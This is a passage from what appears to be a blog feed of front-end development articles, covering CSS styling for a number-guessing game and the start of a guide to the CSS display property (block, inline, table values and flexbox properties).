&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;text-shadow&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;I also wanted the letters to have a solid 3D look to them. Cue the &lt;code&gt;text-transform&lt;/code&gt; property. This property takes in 4 arguments in total, but the last 2 arguments, &lt;code&gt;blur-radius&lt;/code&gt; and &lt;code&gt;color&lt;/code&gt;, are optional. Each shadow is specified as an off-set from the text, and multiple shadows can be applied. In order to get that 3D look I wanted, I applied 6 text-shadows in total.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;span {
  text-shadow: 1px 1px #333, 2px 2px #333, 3px 3px #333, 4px 4px #333, 5px 5px #333, 6px 6px #333;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you wanted to do something like a rainbow-layered block effect, then your code might look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;span {
  text-shadow: 1px 1px red, 2px 2px orange, 3px 3px yellow, 4px 4px green, 5px 5px blue, 6px 6px
      violet, 7px 7px indigo;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Page background&lt;/h2&gt;
&lt;p&gt;By right, CSS gradients are cannot be animated. But by left, we can sort of hack it to work. Note the term hack. This particular hack I&apos;m using is a performance killer, which means I need to research a bit further on more performant techniques, maybe involving &lt;code&gt;will-change&lt;/code&gt; or some way of manipulating an extra &lt;code&gt;div&lt;/code&gt; or 2 with &lt;code&gt;transform: translate()&lt;/code&gt; instead. Stay tuned, folks.&lt;/p&gt;
&lt;p&gt;But for now, as I ask for forgiveness from the performance gods, hacky method it is. The trick involves animating the &lt;code&gt;background-position&lt;/code&gt; property (which is extremely resource-heavy because it&apos;s triggering a repaint for every frame of the animation &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pensive face&quot;&gt;😔&lt;/span&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  height: 100%;
  margin: 0;
  color: $white;
  font-family: &amp;quot;Average&amp;quot;, serif;
  position: relative;
  background: linear-gradient(45deg, #7a378b, #b44473);
  background-size: 1000% auto;
  animation: fade 7s ease infinite;
}

@keyframes fade {
  0% {
    background-position: 0% 50%;
  }

  50% {
    background-position: 100% 50%;
  }

  100% {
    background-position: 0% 50%;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But essentially, what we have here is a background gradient which is much larger than what is visible, then animating the background-position along the x-axis over a span of 7 seconds (in this example). Because we&apos;re animating a gradient and the colours I&apos;m using blend quite subtly together, the performance jank may not be that obvious, but trust me, the animation is janky.&lt;/p&gt;
&lt;h3&gt;Fake multiple background effect&lt;/h3&gt;
&lt;p&gt;In the play and win pages, I also added a number pattern to the background. At first I wanted to make use of the fact that modern browsers support multiple CSS backgrounds but because I used the background-position hack earlier, I could not. So rather than adding another &lt;code&gt;div&lt;/code&gt; just for the additional background, I used the &lt;code&gt;::after&lt;/code&gt; pseudo-element instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.play::after,
.win::after {
  content: &amp;quot;&amp;quot;;
  display: block;
  position: absolute;
  z-index: -1;
  left: 0;
  right: 0;
  top: 0;
  bottom: 0;
  background: url(&amp;quot;img/bg.png&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The position properties make sure the element spans the entire viewport, while the &lt;code&gt;z-index&lt;/code&gt; was set to -1 so it would render under the other elements on the page.&lt;/p&gt;
&lt;h2&gt;Press-able buttons&lt;/h2&gt;
&lt;p&gt;Flat design is nice and everything, but I like my buttons with a bit of movement. The depressed effect when the button is clicked can be achieved by styling the &lt;code&gt;box-shadow&lt;/code&gt; property. Add a 4px offset-y box-shadow below the button, then translate the button downwards by 4px while removing the box shadow when the button is clicked by styling the &lt;code&gt;:active&lt;/code&gt; pseudo-class.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.btn {
  font-family: &amp;quot;Fjalla One&amp;quot;, sans-serif;
  color: #000;
  padding: 0;
  text-decoration: none;
  margin: 0 auto;
  display: block;
  position: relative;
  border-radius: 50%;
  width: 90px;
  height: 90px;
  line-height: 90px;
  border: 2px solid #648c30;
  background: #8cc049;
  box-shadow: 0 4px #648c30;

  :hover {
    border: 2px solid #648c30;
  }

  :active {
    box-shadow: 0 0 #648c30;
    transform: translateY(4px);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Big number input&lt;/h2&gt;
&lt;p&gt;This is quite minor, but I also wanted the number input to be nice and large. Simply because this was the only important thing on the page anyway. Given the game ran numbers from 1 to 100, the input only needed enough space for 3 digits plus the default stepper. I went with &lt;code&gt;ch&lt;/code&gt; for units because it seemed apt. Note: &lt;code&gt;ch&lt;/code&gt; is the width of the character &amp;quot;0&amp;quot; in the current font.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.guess-value {
  font-size: 10vmin;
  text-align: center;
  width: 4ch;
  margin: 0 auto 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;And that&apos;s about it. You can check out the entire source code for the project on &lt;a href=&quot;https://github.com/huijing/guess-the-number-sinatra&quot;&gt;GitHub&lt;/a&gt; under the &lt;strong&gt;fancy&lt;/strong&gt; branch and see the live site at &lt;a href=&quot;https://tl-workshop-2.herokuapp.com/&quot;&gt;https://tl-workshop-2.herokuapp.com/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also, information about TechLadies can be found at their &lt;a href=&quot;http://www.techladies.co/&quot;&gt;official website&lt;/a&gt;, and also checkout their &lt;a href=&quot;https://www.facebook.com/TechLadies/&quot;&gt;Facebook page&lt;/a&gt; for the latest updates.&lt;/p&gt;
</content:encoded></item><item><title>How well do you know CSS display?</title><link>https://chenhuijing.com/blog/how-well-do-you-know-display/</link><guid isPermaLink="true">https://chenhuijing.com/blog/how-well-do-you-know-display/</guid><description>This article has been translated to Japanese by Kana Takahashi on POSTD. The display property is one of the most important CSS properties we use for layout.…</description><pubDate>Sat, 18 Jun 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article has been translated to Japanese by Kana Takahashi on &lt;a href=&quot;http://postd.cc/how-well-do-you-know-display/&quot;&gt;POSTD&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;display&lt;/em&gt; property is one of the most important CSS properties we use for layout. Most of us would have used &lt;code&gt;block&lt;/code&gt;, &lt;code&gt;inline&lt;/code&gt; and &lt;code&gt;none&lt;/code&gt;. &lt;code&gt;table&lt;/code&gt; and &lt;code&gt;inline-block&lt;/code&gt; are also quite common. The new darling is definitely &lt;code&gt;flex&lt;/code&gt;, because it&apos;s a display property that was created specifically for layout. The upcoming &lt;code&gt;grid&lt;/code&gt; (currently still being actively worked on) is another layout-specific property that we&apos;ll soon have in our arsenal as well.&lt;/p&gt;
&lt;p&gt;This post grew much longer than I initially expected so feel free to skip to a subsection if you wish. Though I would really appreciate it if you took the time to read the whole post &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grinning face with smiling eyes&quot;&gt;😁&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Table of contents&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;a href=&quot;#those-we-know-quite-well-already&quot;&gt;Those we know quite well already&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-none&quot;&gt;display: none;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-inline&quot;&gt;display: inline;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-block&quot;&gt;display: block;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-list-item&quot;&gt;display: list-item;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-inline-block&quot;&gt;display: inline-block;&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#a-responsive-numeric-stepper&quot;&gt;A responsive numeric stepper&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#remember-them-table-based-layouts&quot;&gt;Remember them table-based layouts?&lt;/a&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#new-kids-on-the-block&quot;&gt;New kids on the block&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-flex&quot;&gt;display: flex;&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#display-grid&quot;&gt;display: grid;&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href=&quot;#the-relatively-obscure-and-experimental&quot;&gt;The relatively obscure and experimental&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-run-in&quot;&gt;display: run-in;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#display-ruby&quot;&gt;display: ruby;&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#display-contents&quot;&gt;display: contents;&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#further-reading&quot;&gt;Further reading&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Through my experience of building various responsive designs, I learnt a lot about the &lt;em&gt;display&lt;/em&gt; and &lt;em&gt;position&lt;/em&gt; properties, how they work and how they can be combined with media queries to achieve the desired layouts. I&apos;ll briefly cover each value, and also reminisce about a few responsive components I built previously that utilised &lt;em&gt;display&lt;/em&gt; quite heavily.&lt;/p&gt;
&lt;p&gt;We can&apos;t talk about &lt;em&gt;display&lt;/em&gt; without mentioning something called a &lt;a href=&quot;https://drafts.csswg.org/css-display/#box-tree&quot;&gt;box tree&lt;/a&gt;. Basically the browser parses CSS and renders it by generating a box tree, which represents the formatting structure of the rendered document. The &lt;em&gt;display&lt;/em&gt; property defines the box&apos;s display type.&lt;/p&gt;
&lt;p&gt;The topic of how browsers render stuff on the screen is a really fascinating one and I highly suggest reading &lt;a href=&quot;http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/&quot;&gt;How Browsers Work: Behind the scenes of modern web browsers&lt;/a&gt; by &lt;a href=&quot;http://taligarsiel.com/&quot;&gt;Talia Garsiel&lt;/a&gt;. Another must-read is &lt;a href=&quot;http://fantasai.inkedblade.net/weblog/2012/css-layout-evolution/&quot;&gt;Evolution of CSS Layout: 1990s to the Future&lt;/a&gt; by &lt;a href=&quot;http://fantasai.inkedblade.net/&quot;&gt;Fantasai&lt;/a&gt;, who works on CSS specifications at W3C. It&apos;s actually a talk she gave at the &lt;a href=&quot;http://2016.phillyemergingtech.com/2012/&quot;&gt;Emerging Technologies for the Enterprise&lt;/a&gt; conference, but there&apos;s a full transcript if video is not your thing.&lt;/p&gt;
&lt;h2&gt;Those we know quite well already&lt;/h2&gt;
&lt;p&gt;Fun fact: the &lt;em&gt;display&lt;/em&gt; values we use all the time are actually short-hand. For example, &lt;code&gt;block&lt;/code&gt; is actually short-hand for &lt;code&gt;block flow&lt;/code&gt;. Refer to the &lt;a href=&quot;https://drafts.csswg.org/css-display/#propdef-display&quot;&gt;specification&lt;/a&gt; for full list.&lt;/p&gt;
&lt;p&gt;All elements have a default &lt;em&gt;display&lt;/em&gt; value, but they can be overridden by explicitly setting the &lt;em&gt;display&lt;/em&gt; value to something else.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: none&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Removes the element and its children from the normal document flow. The document is rendered as if the element was never there to begin with, which means the space it occupied is collapsed. The content of the element is also ignored by screen readers.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: inline&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/css-display/inline-640.jpg&quot;
  srcset=&quot;/images/posts/css-display/inline-480.jpg 480w, /images/posts/css-display/inline-640.jpg 640w, /images/posts/css-display/inline-960.jpg 960w, /images/posts/css-display/inline-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Inline elements&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;The element generates one or more inline boxes. Inline-level elements take up, as the name suggests, as much space on the line as its tags define. Can be considered the complement to block-level elements.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: block&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/css-display/block-640.jpg&quot;
  srcset=&quot;/images/posts/css-display/block-480.jpg 480w, /images/posts/css-display/block-640.jpg 640w, /images/posts/css-display/block-960.jpg 960w, /images/posts/css-display/block-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Block elements&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;The element generates a block level box. All block-level elements start on a new line and, unless otherwise specified, stretches to width of its container.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: list-item&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;An element rendered as a list-item behaves exactly like that of a block-level element, but it also generates a marker box, which can be styled by the &lt;em&gt;list-style&lt;/em&gt; property. Only &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements have the default value of &lt;code&gt;list-item&lt;/code&gt;. Usually used to reset &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements back to their default behaviour.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: inline-block&lt;/code&gt;&lt;/h3&gt;
&lt;p
  data-height=&quot;460&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;PNMxXL&quot;
  data-default-tab=&quot;result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;http://codepen.io/huijing/pen/PNMxXL/&quot;&gt;CSS Display property&lt;/a&gt; by Chen Hui
  Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;
  .
&lt;/p&gt;
&lt;p&gt;The element generates a block level box, but the entire box behaves like an inline element. Try it opening the above example on &lt;a href=&quot;http://codepen.io/huijing/pen/PNMxXL/&quot;&gt;CodePen&lt;/a&gt; and adjusting your window width, it&apos;ll make more sense that way.&lt;/p&gt;
&lt;h3&gt;A responsive numeric stepper&lt;/h3&gt;
&lt;p&gt;One of the components I had to build was a numeric stepper for selecting different types of passengers. I got a static photoshop file with 1 mobile layout and 1 desktop layout. But there were all the in-between widths that weren&apos;t accounted for which &amp;quot;broke&amp;quot; the layout.&lt;/p&gt;
&lt;p&gt;It was mainly due to the text in parenthesis that didn&apos;t collapse nicely. So I had to toss in a bunch of media queries to adjust the width and display of the relevant elements at different widths. Check out &lt;a href=&quot;http://codepen.io/huijing/full/LZPNYo/&quot;&gt;full-sized Codepen&lt;/a&gt; to see how the component responds at different window widths.&lt;/p&gt;
&lt;p
  data-height=&quot;320&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;LZPNYo&quot;
  data-default-tab=&quot;result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;http://codepen.io/huijing/pen/LZPNYo/&quot;&gt;CSS Display example&lt;/a&gt; by Chen Hui
  Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;
  .
&lt;/p&gt;
&lt;h2&gt;Remember them table-based layouts?&lt;/h2&gt;
&lt;p&gt;There are a set of &lt;em&gt;display&lt;/em&gt; values that allow your elements to behave just like HTML tables. My fellow Singapore-based developer &lt;a href=&quot;https://twitter.com/p0larBoy&quot;&gt;Colin Toh&lt;/a&gt; wrote &lt;a href=&quot;http://colintoh.com/blog/display-table-anti-hero&quot;&gt;a great post on the display: table property&lt;/a&gt;, which you should really check out.&lt;/p&gt;
&lt;p&gt;Although most of us no longer use table-based layouts, &lt;code&gt;display: table&lt;/code&gt; is still pretty useful in certain cases. For example, if you wanted to have tables only on wider layouts, but retain a typical block layout on smaller widths. This can be achieved with a combination of media queries and &lt;em&gt;display&lt;/em&gt; (with some pseudo-elements thrown in for good measure), just resize this window to see how it works.&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; HTML element. It defines a block-level box.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-header-group&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;thead&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-row&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;tr&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-cell&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;td&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-row-group&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;tbody&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-footer-group&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;tfoot&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-column-group&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;colgroup&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-column&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;col&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;table-caption&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;caption&amp;gt;&lt;/code&gt; HTML element.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;inline-table&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;This is the only value that does not have a direct mapping to a HTML element. The element will behave like a table HTML element but as an inline-block rather than a block-level element.&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (min-width: 720px) {
  .table {
    display: table;
    width: 100%;
    border-collapse: collapse;
  }
}

.tr {
  margin-bottom: 1.6rem;
}

@media screen and (min-width: 720px) {
  .tr {
    display: table-row;
  }
}

@media screen and (min-width: 720px) {
  .td {
    display: table-cell;
    border: #f0f0f0 1px solid;
    padding: 0.4rem;
  }
  .td:first-child {
    width: 11em;
  }
}

.th {
  font-size: 1rem;
  line-height: 1.6rem;
  font-family: &amp;quot;Palo Alto&amp;quot;;
}

@media screen and (min-width: 720px) {
  .th {
    font-size: 1.294rem;
    line-height: 1.6rem;
  }
}

@media screen and (min-width: 720px) {
  .th {
    font-size: 0.8rem;
    line-height: 1.6rem;
    font-family: &amp;quot;Roboto Slab&amp;quot;, Rockwell, serif;
    font-weight: 700;
  }
}

@media screen and (min-width: 720px) and (min-width: 720px) {
  .th {
    font-size: 1rem;
    line-height: 1.6rem;
  }
}

.th::before {
  content: &amp;quot;display: &amp;quot;;
}

@media screen and (min-width: 720px) {
  .th::before {
    content: &amp;quot;&amp;quot;;
  }
}

.th::after {
  content: &amp;quot;;&amp;quot;;
}

@media screen and (min-width: 720px) {
  .th::after {
    content: &amp;quot;&amp;quot;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;New kids on the block&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xanthir.com/&quot;&gt;Tab Atkins Jr.&lt;/a&gt;, the primary author of the Flexbox and Grid specifications, made a salient point about these new layout-specific display modes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flexbox is for one-dimensional layouts - anything that needs to be
laid out in a straight line (or in a broken line, which would be a
single straight line if they were joined back together).
Grid is for two-dimensional layouts. It can be used as a low-powered
flexbox substitute (we&apos;re trying to make sure that a single-column/row
grid acts very similar to a flexbox), but that&apos;s not using its full
power.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;— Tab Atkins Jr. to
&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/2013May/0114.html&quot;&gt;www-style&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Something to keep in mind as you adopt these new CSS layouts in your work, and are confused about when to use which.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: flex&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The introduction of the flexbox layout mode, or CSS Flexible Box, marks the first time we have a specification that is really meant for laying out content in the browser. Laying out content on the web has evolved quite a bit since HTML was first introduced. When designers wanted to have some creative layout, the first technique used was nesting HTML tables, or what we refer to as table-based layouts.&lt;/p&gt;
&lt;p&gt;And when CSS started to pick up, we moved over to float-based layouts, by nesting our content in different divs to float them around to get the desired effect. Float-based layouts are still very common but with flexbox being fully supported by all current browsers as of time of writing, I think it won&apos;t be too long before flexbox and grid, which will be covered later, become the prevailing method for layout.&lt;/p&gt;
&lt;p&gt;I&apos;m going to reference Scott Vandehey&apos;s article &lt;a href=&quot;http://spaceninja.com/2015/08/24/what-is-flexbox/&quot;&gt;What IS Flexbox?&lt;/a&gt;, where he asks Tab Atkins Jr. about the history of Flexbox. The earliest draft for the specification is &lt;a href=&quot;https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/&quot;&gt;dated July 23, 2009&lt;/a&gt; but discussions started a few years before that.&lt;/p&gt;
&lt;p&gt;However, nothing was formally structured and the various browser vendors sort of implemented flexbox but didn&apos;t really follow the specification. Which is why the flexbox syntax became pretty messy (and still is when it comes to backward compatibility on older browsers).&lt;/p&gt;
&lt;p&gt;The flexbox model is very powerful, and because it can do a lot, some effort is required to fully understand how it works and how to use it. Both flexbox and grid require full-length articles to cover in depth, so I&apos;ll list my go-to resources for flexbox here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://css-tricks.com/snippets/css/a-guide-to-flexbox/&quot;&gt;A Complete Guide to Flexbox&lt;/a&gt; by Chris Coyier&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://philipwalton.github.io/solved-by-flexbox/&quot;&gt;Solved by Flexbox&lt;/a&gt; by &lt;a href=&quot;http://philipwalton.com/&quot;&gt;Philip Walton&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://flexboxfroggy.com/&quot;&gt;Flexbox Froggy&lt;/a&gt; by &lt;a href=&quot;http://thomaspark.co/&quot;&gt;Thomas Spark&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes&quot;&gt;Using CSS flexible boxes&lt;/a&gt; by &lt;a href=&quot;&quot;&gt;Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://drafts.csswg.org/css-flexbox/&quot;&gt;CSS Flexbox Specification (Editor’s Draft)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-display/flex-diagram.svg&quot; alt=&quot;Flexbox diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;By declaring &lt;code&gt;display: flex&lt;/code&gt; on an element, it becomes a flex container, and its child elements become flex items. This does not cascade further, meaning the flex properties do not extend to the element&apos;s grandchildren. Both the flex container and flex items have their own respective flex properties.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;Properties for flex container&lt;/strong&gt;
&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex-direction&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Defines the main axis and direction of the flex items. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex-direction&quot;&gt;Full list of flex-direction values&lt;/a&gt;.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex-wrap&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Specifies if the flex items adjust to fit in a single row or be allowed to wrapped onto multiple rows. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex-wrap&quot;&gt;Full list of flex-wrap values&lt;/a&gt;.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex-flow&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Short-hand property for flex-direction and flex-wrap. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex-flow&quot;&gt;Full list of flex-flow values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;justify-content&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Defines how space between and around flex items are distributed along the main axis. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content&quot;&gt;Full list of justify-content values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;align-items&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Defines how space between and around flex items are distributed perpendicular to the main axis. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/align-items&quot;&gt;Full list of align-items values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;align-content&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Specifies how lines of flex items are distributed within the flex container. Does not apply if flex items are on a single line only. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/align-content&quot;&gt;Full list of align-content values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;Properties for flex items&lt;/strong&gt;
&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;order&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Specifies the order of how flex items are laid out, in ascending order of the order value. Flex items with the same order value are laid out according to source order. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/order&quot;&gt;Full list of order values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex-grow&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Defines the ability for an element to grow if there is available space, with the value determining the proportion of space the element can grow into. (Told you this was sort of complicated). &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex-grow&quot;&gt;Full list of flex-grow values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex-shrink&lt;/div&gt;
